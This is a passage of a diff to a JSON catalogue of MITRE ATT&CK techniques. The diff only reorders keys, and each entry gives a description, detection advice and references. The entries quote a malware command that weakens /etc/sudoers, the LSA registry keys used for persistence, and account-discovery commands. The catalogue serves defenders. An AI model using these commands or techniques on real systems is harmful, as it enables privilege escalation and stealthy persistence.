+ "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf",
+ "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/",
+ "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"
]
},
- "uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76"
+ "uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76",
+ "value": "Process Doppelgänging - T1186"
},
{
"description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, Valid Accounts used by the other party for access to internal network systems may be compromised and used.\n\nDetection: Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Application Logs, Authentication logs, Third-party application logs",
- "value": "Trusted Relationship - T1199",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1199"
- ],
"external_id": "T1199",
"kill_chain": [
"mitre-attack:enterprise-attack:initial-access"
@@ -1399,25 +1394,17 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1199"
]
},
- "uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925"
+ "uuid": "9fa07bef-9c81-421e-a8e5-ad4366c5a925",
+ "value": "Trusted Relationship - T1199"
},
{
"description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.\n\nDetection: OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: User\n\nRemote Support: No",
- "value": "Dynamic Data Exchange - T1173",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1173",
- "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
- "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/",
- "https://www.contextis.com/blog/comma-separated-vulnerabilities",
- "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/",
- "https://technet.microsoft.com/library/security/4053440",
- "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/",
- "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
- "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
- ],
"external_id": "T1173",
"kill_chain": [
"mitre-attack:enterprise-attack:execution"
@@ -1431,19 +1418,25 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1173",
+ "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
+ "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/",
+ "https://www.contextis.com/blog/comma-separated-vulnerabilities",
+ "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/",
+ "https://technet.microsoft.com/library/security/4053440",
+ "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/",
+ "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
+ "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
]
},
- "uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0"
+ "uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
+ "value": "Dynamic Data Exchange - T1173"
},
{
"description": "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments\" (Citation: sudo man page 2018). Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Combined with tty_tickets being disabled, means adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.\n\nDetection: This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process command-line parameters\n\nEffective Permissions: root\n\nPermissions Required: User",
- "value": "Sudo Caching - T1206",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1206",
- "https://www.sudo.ws/",
- "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
- ],
"external_id": "T1206",
"kill_chain": [
"mitre-attack:enterprise-attack:privilege-escalation"
@@ -1455,19 +1448,19 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1206",
+ "https://www.sudo.ws/",
+ "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
]
},
- "uuid": "2169ba87-1146-4fc7-a118-12b72251db7e"
+ "uuid": "2169ba87-1146-4fc7-a118-12b72251db7e",
+ "value": "Sudo Caching - T1206"
},
{
"description": "During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).\n\nDetection: The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: root",
- "value": "Rc.common - T1163",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1163",
- "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
- "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
- ],
"external_id": "T1163",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -1478,32 +1471,19 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1163",
+ "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
+ "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
- "uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f"
+ "uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f",
+ "value": "Rc.common - T1163"
},
{
"description": "Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.\n\n===Windows===\n\nThere are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Engame Process Injection July 2017)\n* '''Dynamic-link library (DLL) injection''' involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.\n* '''Portable executable injection''' involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)\n* '''Thread execution hijacking''' involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.\n* '''Asynchronous Procedure Call''' (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is a variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)\n* '''Thread Local Storage''' (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)\n\n===Mac and Linux===\n\nImplementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)\n*'''LD_PRELOAD, LD_LIBRARY_PATH''' (Linux), '''DYLD_INSERT_LIBRARIES''' (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)\n*'''Ptrace system calls''' can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)\n*'''/proc/[pid]/mem''' provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)\n*'''VDSO hijacking''' performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)\n\nMalware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.\n\nDetection: Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nMonitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)\n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)\n\nMonitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using PowerShell with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Windows Registry, File monitoring, DLL monitoring, Named Pipes, Process Monitoring\n\nEffective Permissions: User, Administrator, SYSTEM, root\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator, SYSTEM, root\n\nContributors: Anastasios Pingios",
- "value": "Process Injection - T1055",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1055",
- "https://github.com/mattifestation/PowerSploit",
- "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "https://www.endgame.com/blog/technical-blog/hunting-memory",
- "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx",
- "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows",
- "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx",
- "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html",
- "https://www.datawire.io/code-injection-on-linux-and-macos/",
- "http://hick.org/code/skape/papers/needle.txt",
- "http://phrack.org/issues/51/8.html",
- "http://vxer.org/lib/vrn00.html",
- "https://www.gnu.org/software/acct/",
- "https://access.redhat.com/documentation/red%20hat%20enterprise%20linux/6/html/security%20guide/chap-system%20auditing",
- "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
- "https://docs.microsoft.com/sysinternals/downloads/sysmon"
- ],
"external_id": "T1055",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -1521,20 +1501,32 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1055",
+ "https://github.com/mattifestation/PowerSploit",
+ "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
+ "https://www.endgame.com/blog/technical-blog/hunting-memory",
+ "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx",
+ "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows",
+ "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx",
+ "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html",
+ "https://www.datawire.io/code-injection-on-linux-and-macos/",
+ "http://hick.org/code/skape/papers/needle.txt",
+ "http://phrack.org/issues/51/8.html",
+ "http://vxer.org/lib/vrn00.html",
+ "https://www.gnu.org/software/acct/",
+ "https://access.redhat.com/documentation/red%20hat%20enterprise%20linux/6/html/security%20guide/chap-system%20auditing",
+ "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
+ "https://docs.microsoft.com/sysinternals/downloads/sysmon"
]
},
- "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d"
+ "uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+ "value": "Process Injection - T1055"
},
{
"description": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=. The binary will then be executed by the system when the authentication packages are loaded.\n\nDetection: Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
- "value": "Authentication Package - T1131",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1131",
- "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
- "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
- "https://technet.microsoft.com/en-us/library/dn408187.aspx"
- ],
"external_id": "T1131",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -1546,21 +1538,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1131",
+ "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
+ "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
+ "https://technet.microsoft.com/en-us/library/dn408187.aspx"
]
},
- "uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d"
+ "uuid": "52d40641-c480-4ad5-81a3-c80ccaddf82d",
+ "value": "Authentication Package - T1131"
},
{
"description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes",
- "value": "Multilayer Encryption - T1079",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1079",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
- "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
- "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
- ],
"external_id": "T1079",
"kill_chain": [
"mitre-attack:enterprise-attack:command-and-control"
@@ -1575,17 +1566,21 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1079",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
+ "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840",
+ "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html",
+ "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
]
},
- "uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e"
+ "uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e",
+ "value": "Multilayer Encryption - T1079"
},
{
"description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.\n\nPlatforms: Windows\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems\n\nPermissions Required: SYSTEM\n\nSystem Requirements: Ability to update component device firmware from the host operating system.",
- "value": "Component Firmware - T1109",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1109"
- ],
"external_id": "T1109",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -1593,19 +1588,17 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1109"
]
},
- "uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44"
+ "uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44",
+ "value": "Component Firmware - T1109"
},
{
"description": "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder)\n\nNet can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share.\n\nAdversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.\n\n===Mac===\n\nOn Mac, locally mounted shares can be viewed with the df -aH command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Network protocol analysis, Process use of network\n\nPermissions Required: User",
- "value": "Network Share Discovery - T1135",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1135",
- "https://en.wikipedia.org/wiki/Shared%20resource",
- "https://technet.microsoft.com/library/cc770880.aspx"
- ],
"external_id": "T1135",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -1619,21 +1612,19 @@
"mitre_platforms": [
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1135",
+ "https://en.wikipedia.org/wiki/Shared%20resource",
+ "https://technet.microsoft.com/library/cc770880.aspx"
]
},
- "uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f"
+ "uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "value": "Network Share Discovery - T1135"
},
{
"description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)\n\nPlatforms: Windows\n\nData Sources: WMI Objects\n\nPermissions Required: Administrator, SYSTEM",
- "value": "Windows Management Instrumentation Event Subscription - T1084",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1084",
- "https://www.secureworks.com/blog/wmi-persistence",
- "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf",
- "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902"
- ],
"external_id": "T1084",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -1643,17 +1634,21 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1084",
+ "https://www.secureworks.com/blog/wmi-persistence",
+ "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf",
+ "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
- "uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4"
+ "uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4",
+ "value": "Windows Management Instrumentation Event Subscription - T1084"
},
{
"description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis",
- "value": "Disabling Security Tools - T1089",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1089"
- ],
"external_id": "T1089",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -1670,35 +1665,34 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1089"
]
},
- "uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044"
+ "uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044",
+ "value": "Disabling Security Tools - T1089"
},
{
"description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nPermissions Required: User, Administrator, SYSTEM",
- "value": "Peripheral Device Discovery - T1120",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1120"
- ],
"external_id": "T1120",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1120"
]
},
- "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643"
+ "uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
+ "value": "Peripheral Device Discovery - T1120"
},
{
"description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.\n\nDetection: Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nRequires Network: No",
- "value": "Data Compressed - T1002",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1002",
- "https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
- ],
"external_id": "T1002",
"kill_chain": [
"mitre-attack:enterprise-attack:exfiltration"
@@ -1713,17 +1707,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1002",
+ "https://en.wikipedia.org/wiki/List%20of%20file%20signatures"
]
},
- "uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4"
+ "uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
+ "value": "Data Compressed - T1002"
},
{
"description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are net user, net group , and net localgroup using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the /etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file.\n\nAlso, groups can be enumerated through the groups and id commands. In mac specifically, dscl . list /Groups and dscacheutil -q group can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User\n\nContributors: Travis Smith, Tripwire",
- "value": "Account Discovery - T1087",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1087"
- ],
"external_id": "T1087",
